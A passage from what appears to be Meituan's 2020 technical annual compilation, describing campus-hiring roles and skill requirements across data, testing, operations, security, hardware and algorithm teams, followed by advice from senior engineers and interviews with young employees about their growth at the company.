 ● 计算机基础以及大数据通用技术的底层原理，包括数据结构与算法、操作系

统、计算机网络、数据库原理、统计分析与概率、数学分析以及 SQL 语言

等等；

 ● Coding 的能力，掌握至少一门编程语言（Java/Python/C 等）；

 ● 加分项：有一定的数据逻辑能力，对大数据开源框架有认知，了解分布式计算、

消息队列、KV 存储等等，了解数据挖掘与机器学习基本理论和方法。

细节可以通过美团数据方向的技术文章来体验：

 ● 美团配送数据治理实践

 ● 美团数据平台融合实践

 ● 美团数据仓库的演进

 ● 美团数据平台 Kerberos 优化实战

 ● 每天数百亿用户行为数据，美团点评怎么实现秒级转化分析？

测试工程师

 对应岗位名称：测试开发，测试工程师，QA 工程师。

互联网已逐步成为人们生活和工作中不可或缺的部分，相应的，用户对互联网产品的

用户体验和质量要求随之「水涨船高」，质量低、体验差的产品也将越来越难以留在

赛道上。这样的背景下，测试工程师的岗位面临着新的挑战和机遇。美团对测试工程

师的期待远不止是传说中「点点点」式的「黑盒」功能测试，而是需要与产品、研

发、业务团队密切协作，以专业能力保证数亿消费者的用户体验，支撑数百万商家的

线上化运营。

守住质量底线，交付用户价值。美团测试工程师的岗位职责除了基于对用户需求和被

测系统的理解、设计并执行完备高效的测试用例从而保证交付质量外，还需要不断推

动被测系统改进可测性设计、探索高效测试方法、持续提升自动化测试水平。在此过

https://tech.meituan.com/2020/03/12/delivery-data-governance.html
https://tech.meituan.com/2017/08/25/dataplat-coalesce.html
https://tech.meituan.com/2013/12/05/meituan-datawarehouse-evolution.html
https://tech.meituan.com/2018/05/20/kerberos-big-data-platform.html
https://tech.meituan.com/2018/03/20/user-funnel-analysis-design-build.html
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程中不断完善的测试工具、持续交付基础设施将使得我们的研发过程日趋高效，全过

程、多维度的研发过程数据将驱动我们的技术团队持续进化。一个业务需求从发起到

最终交付用户使用，测试工程师的角色无处不在，全方位的为稳定的交付质量和良好

的用户体验保驾护航。

美团测试通道能力模型全面且立体，测试工程师的成长路径涵盖测试技术专家、业务

方向质量顾问、测试工具与基础设施开发者等不同诉求。针对上述细分领域，美团测

试通道精心准备了适用于初、中、高阶的培训课程。目前培训课程已经过多轮评审和

迭代，课程讲师均是公司内各个领域的佼佼者。期待有朝一日你也成为光荣的讲师团

成员！

选择美团测试通道的4大理由：

 ● 适于不同类型人才发挥的空间，无论是热衷技术还是长于协作，热情洋溢或是

冷静心细，都能找到展现个人精彩的舞台；

 ● 有利于锻炼综合能力，从业务理解到技术架构，从沟通协作到效率提升，相较

于「固守一隅」的开发人员拥有更为广阔的视角；

 ● 测试通道拥有清晰的人才模型、健全的职级体系、多样化的成长路径，资深导

师辅导、开放的技术氛围帮助每位同学成长；

 ● 立足完整的测试理论基础和技术体系，面临万物互联和智能化时代伟大挑战，

有机会与我们一同探索测试领域全新的未来。

当然，在面对多种多样的被测系统时，测试工程师需要对它们的技术原理和实现方法

有基本的了解，才能有针对性的进行更深入的测试。在遇到各式各样的可测性难题

时，测试工程师需要打破边界、发散思维，从别的领域寻求启发，以突破本领域的思

维定势。当然最重要的一点是学习能力，业务领域和技术领域的知识浩渺如大海，扎

实的基础知识是成长的基石，而良好的学习习惯，快速的学习能力，以及驱动自己不

断探索未知领域的好奇心才是成长的持续动力。
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美团对测试工程师候选人重点考核的专业知识及专业技能

 ● 计算机技术基础，包括网络、数据结构、数据库、操作系统、编程语言、软件

测试 / 软件工程等等；对校招生不要求有丰富的工作经验，更注重技术基础能

力是否扎实。

 ● 了解经典的软件测试理论，熟悉基本的测试设计方法；对质量度量、流程把控、

客户端专项、性能工具的使用较为熟悉；且具备一定的编码能力；

 ● 加分项：测试工程师的岗位需要候选人有比较广泛的知识面，最好对计算机各

个领域的知识均有涉猎，不求样样精通，但求能融会贯通。

细节可以通过美团测试方向的技术文章来体验：

 ● 质量运营在智能支付业务测试中的初步实践

 ●“小众”之美——Ruby 在 QA 自动化中的应用

 ● 大众点评 App 的短视频耗电量优化实战

 ● Lego- 美团接口自动化测试实践

 ● 智能支付稳定性测试实战

运维工程师

 对应岗位名称：运维开发，SRE，DevOps，DBA，网络工程师，安全工程师。

在美团做运维工程师，主要分为 SRE、系统网络工程师和 DBA 三个方向，以及安全

领域。鉴于安全的特殊地位，我们会将安全工程师，单独拿出来进行说明，本部分先

介绍前三个方向。

SRE 会以「上帝视角」来运维全公司的业务系统，每一个操作都关乎亿万用户的使

用，每一项优化都能帮助公司降低成本，增加效率。公司业务的持续发展离不开卓越

的运营，稳定性保障领域还有很多难题需要我们去突破，SRE 有很大的机会成长为

优秀的架构师、管理者。

系统网络工程师的主要职责是维护和保障美团基础设施的稳定，包括数据中心、网

https://tech.meituan.com/2018/05/11/quality-operation-in-zcm.html
https://tech.meituan.com/2018/04/27/ruby-autotest.html
https://tech.meituan.com/2018/03/11/dianping-shortvideo-battery-testcase.html
https://tech.meituan.com/2018/01/09/lego-api-test.html
https://tech.meituan.com/2018/12/13/smart-payment.html
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络、服务器等设施，及维护设施所需的运维平台建设与运维。这是涉及基础科学，垂

直技术领域最多的一个通道，通过技术与运营相结合，为公司业务提供稳定、高效、

低成本的基础设施资源。如果你成为一名系统工程师，就有机会接触大规模的基础设

施资源，能够以软硬件结合的方式，系统性的参与到大规模的基础设施的运营。

DBA 团队负责保障美团数据库服务的稳定和安全，致力于为公司提供稳定、可靠、

高效的在线存储服务。从传统的运维 DBA 起步，DBA 团队在短时间内经历了脚

本化、工具化、平台化、自动化的快速迭代，并开始了在智能运维领域的探索和实

践。展望未来，我们将着力于应用 AI 技术推进数据库运维自动化与智能化的交叠演

进，并借助 NewSQL、容器化、软硬件一体化技术促进 OLTP 与 OLAP 更好的融

合。如果你有志于服务万亿级的高并发、大流量、多租户的应用场景，欢迎加入美团

DBA 团队。

1. SRE：扎实的计算机系统基础知识，丰富的网络知识，掌握常用算法，具备

脚本编程能力；具备 Linux 操作系统的运维实操经验，具备小型网站的搭建

能力；

2. 系统网络工程师：扎实的计算机系统基础知识，丰富的网络知识，掌握常用算

法，具备脚本编程能力；具备 Linux 操作系统的运维实操经验；能够无障碍阅

读英文技术 Paper；

3. DBA：能够掌握各种数据结构，如数组、链表、队列和栈，以及树、哈希表

等；掌握数据库的基础知识，如范式、表结构设计，常用 SQL 语句，聚合函

数的用法等；掌握 Linux 系统下的常用 Shell 命令；掌握简单的正则表达式和

文本处理方法；掌握操作系统的基础知识；多参与实际的项目，在项目中积累

编码经验，增强动手能力。

细节可以通过美团运维方向的技术文章来体验：

 ● 数据库智能运维探索与实践

 ● SQL 解析在美团的应用

https://tech.meituan.com/2018/12/13/intelligent-operation-practice-in-meituan.html
https://tech.meituan.com/2018/05/20/sql-parser-used-in-mtdp.html
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 ● 云端的 SRE 发展与实践

 ● Redis 高负载下的中断优化

 ● 美团数据库高可用架构的演进与设想

 ● 美团数据库运维自动化系统构建之路

安全工程师

在当今社会，企业的信息安全越来越重要，它关系到亿万用户的数据安全和隐私保

护，关系到国计民生的基础设施可靠性，甚至可能还关系到国家安全。只有安全上不

发生颠覆性的风险，用户和业务才能岁月静好。

美团安全团队是一群有使命感的「守夜人」，他们用卓越的本领和超强的责任心守卫

着美团数亿用户的数据和隐私。如果你也热爱安全攻防，愿意在网络空间里「除暴安

良」、「保家卫国」，当一位「侠之大者」，欢迎加入美团安全团队！当你选择了信息安

全，你会发现不仅是选择了一个行业，更是选择了一种责任。

面对日益复杂的攻防对抗形式和海量数据场景，美团安全团队也在不断提升自己的标

准，致力于成为追求卓越、业界领先的安全团队，并落地更多业界认可的实践安全项

目。目前，美团安全团队人才济济，大多数核心成员拥有多年互联网以及不同安全领

域实践经验，均参与过大型互联网公司的安全体系建设，其中不乏具备百万级 IDC

规模攻防对抗的经验的全球化安全人才、CVE 挖掘圣手、业务全流程风控专家、国

际顶级会议演讲者、以及知名媒体大 V 等。值得一提的是，美团安全团队的氛围非常

的轻松和谐。我们不止有「格子衫文化」，更会吃喝玩乐，是一群热爱生活，并且享

受生活的年轻人。

1. 专业背景：优先信息安全、计算机科学、统计学、数学等相关学历及专业背景

的同学；

2. 技术技能：至少熟悉 Python、Java、Go、C++ 等主流语言中的一门，有过

至少一门语言的开发实践；了解行业政策与动向，关注最新安全漏洞，能分析

漏洞原理和实现 PoC 编写；能够无障碍阅读英文技术 Paper；

https://tech.meituan.com/2017/08/03/meituanyun-sre.html
https://tech.meituan.com/2018/03/16/redis-high-concurrency-optimization.html
https://tech.meituan.com/2017/06/29/database-availability-architecture.html
https://tech.meituan.com/2016/09/18/the-construction-of-database-automation-system.html
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3. 覆盖领域：对网络安全、应用安全、数据安全、业务安全、移动安全、AI 安

全、IoT 安全、内容风控、攻防对抗、安全算法等任意领域有实操经验，或有

着一定的见解，并对此研究方向抱有热情；

4. 加分项：如果你是挖洞能手，有独立挖掘过知名开源应用 / 大型厂商高危漏洞

经历，或在相关领域获奖、发表过 Paper、做过分享；或者曾经在大型互联

网公司有过相关实习经验；或者了解 AI 主流算法适用场景和调参，有相关的

实践经验，都是加分项哦 ~

细节可以通过美团安全领域的技术文章来体验：

 ● 互联网企业数据安全体系建设

 ● 云原生之容器安全实践

 ● 浅谈大型互联网企业入侵检测及防护策略

 ● 初探下一代网络隔离与访问控制

 ● 互联网企业安全之端口监控

 ● 从 Google 白皮书看企业安全最佳实践

硬件开发工程师

 对应岗位名称：硬件开发，嵌入式系统工程师。

硬件涉及面很广，这里不仅仅有硬件的设计和开发工作，同时包括了嵌入式软件方

向、机械与结构方向、硬件质量管理等技术方向。这是一个需要能够「上通业务，下

晓硬件」的技术领域，在这里工作的同学都是软硬结合的多面手。他们为美团的智能

硬件平台提供最佳的解决方案，帮助美团拓展在 IoT 领域的战略布局。

「硬件」的价值，看得见，摸得着。硬件是软件系统的载体，软件基于稳定可靠的硬

件特性基础而扩展，硬件帮助软件技术价值触达用户。如果你是一位喜欢精雕细琢的

「工匠」，欢迎加入我们，一起铸造精品！

1. 机械和电子专业技术知识，质量及项目管理专业技能，以及发现和解决问题

能力。

https://tech.meituan.com/2018/05/24/data-security-system-construction.html
https://tech.meituan.com/2020/03/12/cloud-native-security.html
https://tech.meituan.com/2018/11/08/intrusion-detection-security-meituan.html
https://tech.meituan.com/2018/01/26/network-isolation-access-control.html
https://tech.meituan.com/2017/10/27/security-port-monitor.html
https://tech.meituan.com/2017/04/07/google-security-ayazero.html
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2. 其中嵌入式软件方向：需要了解计算机体系结构，C/C++ 程序设计语言，数

据结构，常用的网络通信结构，操作系统等基础知识。

算法工程师

 对应岗位名称：算法工程师。

美团算法团队希望通过人工智能技术为业务创造价值。要求候选人能够在深入理解

美团业务的基础上，进行有效场景的抽象和建模，并使用数据和算法优化上述模型；

同时要求候选人能够从海量数据中总结规律，通过规则、模型、自适应学习系统等

方式进行有效知识沉淀，通过数据驱动的方式帮助公司提升业务运营全链条的效率、

效果。

美团拥有丰富的算法应用场景、海量的数据、以及强大的算力平台。美团算法团队正

在构建的 AI 相关技术，囊括了语音、视觉、自然语言处理、机器学习、知识图谱、

搜索推荐、运筹优化、运动控制等领域；美团因为涉及线上和线下经济结合的众多业

务，有丰富的应用场景，包括美团点评 App 内搜索推荐、面向外卖配送的定价和调

度、无人配送的自动驾驶、无人机的飞行控制、智能耳机里的语音识别、人脸识别、

智能语音客服系统、金融体系和供应链系统中的庞大知识图谱等。同时，美团的巨大

的用户和商户以及订单体量，产生了 PB 量级的真实数据，例如海量的用户评价、商

家经营数据、商场监控数据、餐馆菜单、无人车感知数据等，这些真实的数据对于

算法研究人员是一个巨大的宝藏和修炼场。美团拥有数万高性能服务器以及数千张

GPU 卡，给模型训练提供了充足的算力。

目前，美团算法团队比较急缺的岗位包括机器学习 / 数据挖掘算法工程师、运筹优化

研发工程师、语音算法工程师、自然语言处理开发工程师、推荐算法工程师、计算机

视觉工程师、无人车和无人机的感知 / 规划控制工程师等。

美团对算法工程师候选人重点考核的专业知识及专业技能

1. 专业背景：算法基础知识与工程基础知识，包括数据结构、数学、机器学习理

论等。
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2. 专业知识：细分领域知识，包括数据挖掘、运筹优化、深度学习等基础知识，

NLP、图像、3D 空间定位、点云、运动规划控制等。

3. 专业能力：要求具备一定的文献阅读和调研能力，以及算法策略的实现能力。

划重点：美团算法岗位的竞争非常激烈。如果你在算法方面不是特别自信的话，建议

多考虑一下美团的工程方向。

细节可以通过美团算法方向的技术文章来体验：

 ● 美团 BERT 的探索和实践

 ● 美团推荐算法实践

 ● 深度学习在搜索业务中的探索与实践

 ● 美团外卖骑手背后的 AI 技术

 ● 深度学习在美团推荐平台排序中的运用

 ● 机器学习中模型优化不得不思考的几个问题

 ● 深度学习在美团配送 ETA 预估中的探索与实践

以上就是美团技术团队岗位整体介绍以及对岗位的要求，如果大家想了解更多的招聘

信息和岗位信息，欢迎关注「美团技术团队」、「美团点评招聘」微信公众号。

二、哪些软素质最受面试官的认可？

基本能力

 ● 聆听的能力：希望你能够迅速 Get 到面试官的提出的问题核心以及前提条件，

避免在未清晰获取到问题或者没有思考清晰的情况下，直接就回答面试官提出

的问题。

 ● 沟通表达的能力：口头和书面表达逻辑清晰，能够有条理地进行思考，清楚、

有力地表达自身想法和观点。在美团的日常工作中，编写技术文档和发送邮件

的情况非常普遍，希望你具备清晰的逻辑思考能力和优秀的写作能力。

 ● 学习能力：美团有句经典老话：我不会但我可以学。我们希望你能够主动发现

https://tech.meituan.com/2019/11/14/nlp-bert-practice.html
https://tech.meituan.com/2015/01/22/mt-recommend-practice.html
https://tech.meituan.com/2019/01/10/deep-learning-in-meituan-hotel-search-engine.html
https://tech.meituan.com/2018/03/29/herenqing-ai-con.html
https://tech.meituan.com/2017/07/28/dl.html
https://tech.meituan.com/2017/05/05/machine-learning-model-optimization.html
https://tech.meituan.com/2019/02/21/meituan-delivery-eta-estimation-in-the-practice-of-deep-learning.html
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自己的短板，并有规划地为自身能力打补丁，更主动地了解行业相关信息，同

时愿意主动学习新技术，包括但不限于经典的技术书籍、网络博客、教学视频

等。鼓励大家在大学时尽可能参与一些开源项目，或者参加过一些编程相关的

竞技比赛。

工作能力

 ● 协作能力：一个人可以走的更快，一群人可以走的更远。美团业务线比较多，

经常涉及跨部门合作，希望你具备一定的团队协作能力。

 ● 执行力：较好的计划制定和落地能力，较好的风险把控和应对能力，较好的应

变和调整能力。

 ● 管理能力：在时间管理方面，能够合理安排工作，以确保自己不被 Deadline

牵制；在自身管理能力方面，知道时间用在什么地方，重视对外界的贡献，善

于发挥自身长处，集中精力于重要领域，善于做出有效决策。

个人素质

 ● 技术自驱力：我们希望你是真正发自心底的热爱技术，能够对技术保持好奇心，

做到「知其然也知其所以然」，且喜欢动手实践。

 ● 韧性：美团提倡「长期有耐心」，希望你在遇到挫折和失败时，不会轻言放

弃。从学校到社会的过渡阶段，必然会面临很多挑战和困难，坚韧可以帮助

战胜困难。

 ● 积极开放的心态：希望你拥有较强的求知欲和好奇心，对新鲜技术充满探索欲，

能够积极拓展圈内外的人际资源，跟大家一起交流、分享。同时能够不自我设

限，不断突破自我。

三、学长有话对你说：

潘魏增学长	|	南开大学	|	前端技术专家，2010 年加入美团点评

第一，练好技术基本功，勿在浮沙筑高台。大家要把计算机基础理论、互联网基础知
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识以及前端开发的基本原理弄明白，这点对刚走上工作岗位的应届生来说尤为重要。

第二，不要去追潮流，不要去做技术投机，看到人工智能、算法领域比较火爆，就一

窝蜂冲上去，往往容易「折戟沉沙」。而且工程领域发展前景并不输于算法等领域。

第三，主动了解所在公司所在部门最需要什么，了解影响业务成功的各种要素，在做

好本职工作之外向前多走一步，成为懂业务、懂商业的技术多面手。最重要的一点，

持续努力，不要懈怠。不要因为获得一点点成绩而沾沾自喜，千万不要把运气当做自

己的能力。

王晓飞学长	 |	北京邮电大学	 |	Android 技术专家，2015 年加入美

团点评

首先建议学弟学妹，最好在大学期间就能认认真真地去完成一个 App 的设计、开发、

上线的完整流程；第二，必要的面试笔试基本功不能丢（上面写的很详细呦）；第三，

多一点耐心，多一点坚持；第四点，要有自己的想法，不要因为大家都去追逐一些新

名词就随波逐流，找到适合自己的才是最重要的。

董尚先学长	|	iOS技术专家，2015 年 4月加入美团点评

计算机知识体系很庞大，但是技术基础上都具备相通性，牢固的知识基础有助于在后

续的学习中举一反三。作为一名 iOS 工程师，不代表你不能学习其他的技术栈。移动

端的知识相对来说学习曲线比较平缓，对新同学来说比较友好的，非常适合作为互联

网的入门行业。 当感觉到得心应手的时候，一定要及时走出舒适圈，严格要求自己，

LLVM、跨端技术、持续集成、动态化、端智能技术等都是可以深入的学习方向。美

团技术团队也提供了非常大的一个舞台，内部有无数的「活水」机会，大家可以去不

同的业务线、不同的技术线去挑战自我。

刘铮学长	 |	西安电子科技大学	 |	后台技术专家，2017 年加入美团

点评

后台和系统相关的技术体系很庞大，一开始避免陷入细节，可以先从广度入手，了解

各种技术的特性及使用场景，然后结合自己的事情或兴趣，进行某个领域的深入钻
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研。机会与能力同等重要。作为初出茅庐的毕业生，应该选择一个蓬勃发展的行业，

在丰富的实践中快速成长。

陈彧学长	|	清华大学	|	数据技术专家，2015 年加入美团点评

如果你想成为一名优秀的数据工程师，那么你需要知道，数据非常看重实战经验的长

期积累。同学们需要具有稳健的职业发展观。在数据领域，毕业后 3~5 年的时期非

常关键，就业的选择要重视未来经验的积累和视野的拓展。建议大家要重视基本功，

认知好自己的兴趣和专长。时间若是足够的话，可在美团这样的大型互联网公司找到

一份相关的实习工作，提前了解一下行业的实践。

陈阳学长	|	东北石油大学	|	测试技术专家，2019 年加入美团点评

测试方向入门容易做精难，想在某一个方向做深入需要比研发工程师更广的知识面，

也需要比产品更敏锐的需求提炼和转化能力。从工具的设计、开发再到运营，从技术

规划到版本规划再到项目实施，考验的是全面协调以及解决问题的能力。此外，高段

位的测试工程师还要根据不同项目的成熟度模型，引入规范的流程、敏捷开发模式、

数据版本的管理、代码版本的管理、组件化服务化的升级等等，都需要对业务的深度

理解，更需要多年的经验积累来确保软件的质量。建议学弟学妹们要重视知识的广

度，夯实基础，在某一个方向持续深入学习，锻炼沟通能力和解决问题的能力。

赵应钢学长	|	华中科技大学	|	数据库专家，2015 年 8 月加入美团

点评

首先，尽量寻找到在大型互联网公司实习的机会，在实际工作中提升自己，做到理论

实践相结合。通过实际工作，更能了解到企业的实际需要。其次，可以多参加一些认

证考试，在考证的过程中掌握整个知识体系，形成全局视野。最后一点，多关注顶级

企业对人才的招聘要求，提前储备相关技能。
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赵弼政学长	|	武汉理工大学	|	安全技术专家，2018 年加入美团点评

安全攻防是在计算机基本功之上的灵活运用，深刻理解原理才能化腐朽为神奇，所以

首先建议大家注意打好基本功（编译原理、操作系统、网络、数据库等）。另一方面，

安全领域的大多数前辈都是兴趣驱动的，在实践中培养自信、加深理解、融会贯通。

所以一定要多动手，不能仅仅满足于老师和课本上提到的知识。无论是挖漏洞、渗透

测试、打 CTF 比赛、写自动化工具还是做算法参数调优等，尽量把经典的场景都亲

手反复实践过，有了这些实践，还要擅长总结（验证对计算机基本知识的理解深度），

试着写一些文章或者 Blog 分享。做好这些技术储备的同时，要坚守初心，不碰黑产。

景华学长	|	北京航空航天大学	|	嵌入式软件技术专家，2018 年加入

美团点评

当与面试官讨论问题的时候，请用数据来征服 TA。在这个领域，美团硬件通道不允

许用召回率来表达，一个算法也许完成了 90% 就可以落地了，但是美团需要的是达

到 99.9999% 的设计标准。所以数据是打开这个通道的大门，且对应的数字一定要

准确。在这个通道，基本功尤其重要，任何出现在你简历中的内容，一定要解释的明

明白白。

段航学长	|	比利时鲁汶大学	|	算法专家，2015 年加入美团点评

写好简历，客观地陈述个人的经历，有针对性；做好准备，重视每一次的面试机会，

心态平和；积极主动，关注目标企业招聘信息，踊跃申请。

四、欢迎加入美团技术团队：重要是跟什么样的人在一起做什

么样的事情！

人是美团最重要的资产，美团技术团队以浓厚的学习和分享氛围享誉业界。

1.	完善的技术培训体系：美团技术学院开设几百门技术专业课程。从 MRN 介绍

到 Java 并发编程，从系统复杂性问题方法论到机器学习算法，从后台用例设

计到运维开发初体验……
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2.	丰富的技术图书资源：美团点评图书馆藏 13000 多册纸质书（90% 以上为技

术图书），306 本电子书，并有 O’Reilly Safari 英文电子书库（四万多计算机

技术和管理图书！）、ACM Library、知网、极客时间等多种电子资源。

3.	浓厚的工程师文化：美团技术团队内部社区为技术同学提供一站式技术信息查

询服务，内外部技术博客承载技术团队优质内容沉淀，TopTalk 不定期邀请

国内外技术大咖来公司做分享，1024 程序员节狂欢、29 个技术俱乐部聚集

志同道合的小伙伴，各种学习路径帮助你每天前进 30 公里。

在帮大家「吃得更好，生活更好」的背后，有一群默默努力的工程师小哥哥、小姐姐

们在默默努力、默默付出。我们也希望优秀的你也能加入我们，用一行行代码，创造

出美好的亿万生活！
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青年人在美团是怎样成长的？

作者：技术学院

2020 年五四青年节，我们采访了美团技术团队 9 位青年代表，他们是来自清华大学、

北京大学、中国科学院大学等国内高校的 2 位博士研究生和 7 位硕士研究生。在这个

属于青年人的特别的日子里，我们请他们分享了自己在美团成长的故事。

道阻且长，不忘初心，砥砺前行，行则将至

Q1：毕业时，你应该拿到了不少Offer，为什么最后选择了美团？

杨扬：最重要的一点，美团的技术氛围很好。在学校的时候，我也关注了美团技术团

队的公众号 / 博客，满满的干货。我其实从大三就开始接触自然语言处理（NLP）这

个领域了，那时候就对 NLP 产生了兴趣和热爱，研究生期间也一直做 NLP 这个方

向，所以投递的岗位以及拿到的 Offer 也都是与此相关的。此外，也是考虑到美团有

海量的数据和丰富的场景，能够将 NLP 的技术更好地应用，并且公司也处于快速发
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展的时期，我深信能在美团这里得到更多的成长空间。

当然，还有一个比较特别的原因吧，应该说是缘分。当时有师兄在美团工作，他有一

次听了王仲远（AI 平台 / 搜索与 NLP 部技术负责人）的一次分享后，就直接联系我，

然后将我内推了过来，然后才有后续的故事。总的来说，加入美团技术团队，能跟一

群优秀的人做事，会让自己变得更加优秀。

Q2：在美团众多的企业理念中，哪一条对你影响比较大？

杨扬：「每天前进三十公里」，这句话对我影响比较大。每天多学习一点，多思考一点，

积跬步以至千里。

Q3：工作中，典型的一天是怎么度过的？

杨扬：早上通勤的路上听听播客，到工位后首先会查看大象以及自己负责的任务运行

情况，之后将一天的工作进行拆解，然后就开工啦。下午会利用集中的时间去专注地

完成工作上的任务。晚上如果没有会议且工作上的任务完成的情况下，会做一些技术

沉淀，学习一些算法知识，再看一些最新的工作进展。下班前，简单复盘下当天的工

作，并列一下第二天的 To Do。

Q4：工作以后，最自豪或者印象最深刻的一件事是什么？

杨扬：工作以来最自豪的一件事，就是参与了美团的 BERT 项目。自己有幸接触并学

习了非常前沿的一些工作，然后应用在具体业务中，而且带来了一定的效果提升。同

时也和团队一起发表了一篇技术博客《MT-BERT 的探索和实践》。在这整个过程学

习到了很多的东西，很感谢 Leader 和 Mentor 对我的各种指导，还有同事们的各种

帮助，在这里特别感谢大家。

Q5：你理解的基本功是什么？你平时怎么加强这方面的训练？

杨扬：我理解的基本功包括 2 个方面，一方面是硬技能，包括代码能力、业务能力、

算法能力等等；另一方面是软技能，包括沟通、协作、时间管理等等。

https://tech.meituan.com/2019/11/14/nlp-bert-practice.html
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关于硬技能的话，我觉得一方面要在公司实际业务中多积累经验，提高自己的工程能

力、业务能力、执行力，同时关注核心技术，结合业务进行思考，解决问题的同时也

要多思考和复盘；另一方面，积极关注公司内部技术分享以及业界技术进展，保持学

习的敏锐度，促进技术栈的迭代更新，从而不断延伸个人的能力。

在软技能方面，还是要多学习一些方法论，在工作中进行实践，并从周围优秀的同事

身上不断学习，保持精进。

Q6：作为美团的新生力量，公司主要为你们提供了哪些方面的培养？

杨扬：美团提供的培养对我的帮助还是很大的。主要讲三点吧。第一点，刚入职时，

公司就对我们提供了「萌芽计划」以及部门的「雏鹰计划」，不仅能使我们这些新人

更快地融入，也让我们对公司以及部门有了更加深入的了解；第二点，正式入职后，

包括算法通道以及部门内会定期有各种技术分享，能够帮助我们开拓视野并学习一线

的实践经验；第三点，技术学院也提供了很多基本功课程，包括沟通技巧、写作技巧

等等，这些都有益于我们个人技能的提升。

Q7：平时喜欢读书吗？哪本对自己影响比较大？

杨扬：平时比较喜欢读书。对我影响比较大的一本书是《高效能人士的七个习惯》，

更重要的是在工作和生活中，不断去践行书中提到的一些习惯，从而提高自己的工作

效率以及充实自己的生活。

近期，对我影响比较大的一本书是《万物发明指南——时间旅行者生存手册》，作者

设定的故事是：假如你坐时光机穿越到过去，那么如何从零创造人类文明？书中介绍

了创建文明所需的语言学、数学、植物学、医学、化学、艺术、哲学等等，很酷很有

趣，推荐给大家。

Q8：五四青年节，对在校的学弟学妹们有什么想说的话？

杨扬：在学校的时候，尽量打好基础，多多积累；平时要积极主动，培养 Owner 意

识；不要给自己设限，去探索更多的可能。道阻且长，不忘初心，砥砺前行，行则

将至。
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练习一样技能，最好的方式是展现给别人看

Q1：毕业时，你应该拿到了不少Offer，为什么最后选择了美团？

瑞年：我觉得毕业工作的选择大家都会考虑如下几个点吧：1. 工作城市；2. 薪酬；3. 

自己在公司的发展空间；4. 工作内容自己是否感兴趣 or 是否匹配自己的专业。对于

我来说，上面四点的重要性是 4 = 3 > 2 > 1。我现在所在的 NLP 与搜索团队跟我所

学的专业比较相关，而且美团是一家处于快速增长中的公司，个人成长的空间也相对

比较大，另外薪酬方面也还 OK，所以综合多种因素，最终选择了美团。

Q2：在美团众多的企业理念中，哪一条对你影响比较大？

瑞年：美团有句老话：「如果你想走得快，就要一个人走；你想走得久、走得远，要一

群人一起走。」可能只有当我们真正工作了以后，才真正体会到「团队合作」的重要

性。以前在学校，做实验、写论文也就跟导师讨论一下，很多事情一个人也能搞得

定。但到了公司以后，每个项目基本上都是整个团队中若干个人紧密协作的成果，而

且只能通过团队合作，才能真正把工作做好。
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Q3：工作中，典型的一天是怎么度过的？

瑞年：一般会比上班规定的时间稍早一点到达工位，思考一下今天的工作内容。在白

天的工作中，免不了要和同事开会讨论，经常自己的工作做到一半就被拉去开会，开

始还有点不适应，不过现在已经习惯了。一般来说，我会尽量把开会讨论放在上午和

晚上，下午的时间会留给自己单独做一些开发工作。

Q4：工作以后，最自豪或者印象最深刻的一件事是什么？

瑞年：印象最深的一件事，应该就是组内有一个项目在上线前做最后的开发，由于和

上海的团队有合作，组里集体去上海出差了 2 周，天天在上海的会议室里讨论 & 开

发 & 联调。因为那个会议室里的椅子稍微有点差，感觉腰都要坐断了。不过好在最后

还是赶在 Dead Line 之前把项目推上了线。真心话，当项目上线的那一刻，成就感，

真的特别大！

Q5：你理解的基本功是什么？你平时怎么加强这方面的训练？

瑞年：我理解的基本功，更多的是在工作中需要具备的一些通用能力，比如写作能

力、沟通能力等等。这些通用的基本功，对我们工作的影响其实特别大。我认为，练

习一样技能最好的方式是展现给别人看。比如写作基本功，你要就把自己写的技术文

档发给别人看；沟通基本功，就自己尝试去做一些技术分享，或者组织一些小型的讨

论。只有这样，才能快速成长。

Q6：作为美团的新生力量，公司主要为你们提供了哪些方面的培养？

瑞年：公司的入职培训，我觉得还是挺有帮助的。毕竟是校招生第一次步入社会，入

职培训的那一周能让帮助我快速了解我们公司的文化，结交一些新的小伙伴，快速适

应这个陌生的环境。

Q7：平时有哪些爱好？这些爱好对自己有什么影响？

瑞年：我个人比较喜欢音乐和运动，工作之余会打打架子鼓，然后就是跑步、游泳。

去年冬天，开始接触滑雪。我认为培养工作之外的一个爱好特别重要，因为在工作
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中，我们难免会遇到一些不顺心的事情，职场中也总会伴有一些压力。而工作之外的

这些爱好，对我们调解自身的状态特别有帮助。

Q8：五四青年节，对在校的学弟学妹们有什么想说的话？

瑞年：好好珍惜在校的时光，毕竟工作之后就没那么多假期了。除了上面这个玩笑之

外，还想跟学弟学妹们说，毕业找工作时，一定要提早准备，多接触一些公司，多思

考、多比较。最后祝学弟学妹们都能找到理想的工作。

简单，专注，好好学习！每天前进 30 公里

Q1：毕业时，你应该拿到了不少Offer，为什么最后选择了美团？

孙喆：我觉得工作中最重要的还是选择跟什么样的人在一起学习和做事吧。我选择美

团的一个重要原因就是面试官特别好！我当时前后经历了三轮面试，面试的过程愉悦

又轻松，但问的问题确又实实在在，能感受到面试官为面试也做了非常多的准备、专

业性很强；有一轮面试，多位面试官参加，在跟他们的交互中，也能感受到我们美团

内部的氛围非常好。在发 Offer 的阶段，面试官（同时也是我现在的 Buddy）还针对

工作内容跟我沟通了一次，确定工作内容是我所喜欢的，也能感受到美团对校招生的



1158　>　美团 2020 技术年货

择业方面还是非常负责任的。

还有一个原因是，这是我毕业后初入职场的第一份工作，因此也十分重视公司对人的

培养，而美团在这方面有完善的培养机制，为每位新人都配备导师，可以实现短期快

速成长。因此我就十分欢快地加入了。

Q2：在美团众多的企业理念中，哪一条对你影响比较大？

孙喆：我对「每天前进三十公里」印象倒是很深刻。我查了资料，这个其实来源于美

团 2 周年公司年会上，兴哥讲的南极探险的故事，「有两支训练有素的队伍去南极探

险。阿蒙森团队充分评估了环境，对困难有足够的预料，做足了准备，不管天气好坏

每天坚持前进 30 公里，最后成功抵达南极并安全返程。相较之下，同行的斯科特队

则因为对环境的评估不足，而且执行计划率性而为：天好时冒进，天恶时滞留，最终

长眠南极无一生还」（美团同学基本都知道～但还是贴在这里了）。我觉得这个就是在

说目标、学习和持续。相比于研究生期间在某一个领域进行「突破」，现在的工作要

求我兼备知识的广度和深度，需要学习的还很多，希望自己可以坚定地每天前进 30

公里，然后建立完整的计算机知识体系。

Q3：工作中，典型的一天是怎么度过的？

孙喆：我是在特殊的疫情防范时期加入美团的，所以典型的一天会从每日报平安 & 早

会开始，通过会议做好昨日的工作总结，也逐步了解部门的工作进展。早会后，我会

做个简单的工作规划，我的工作主要涉及技术战略和学术合作两部分，所以在排优先

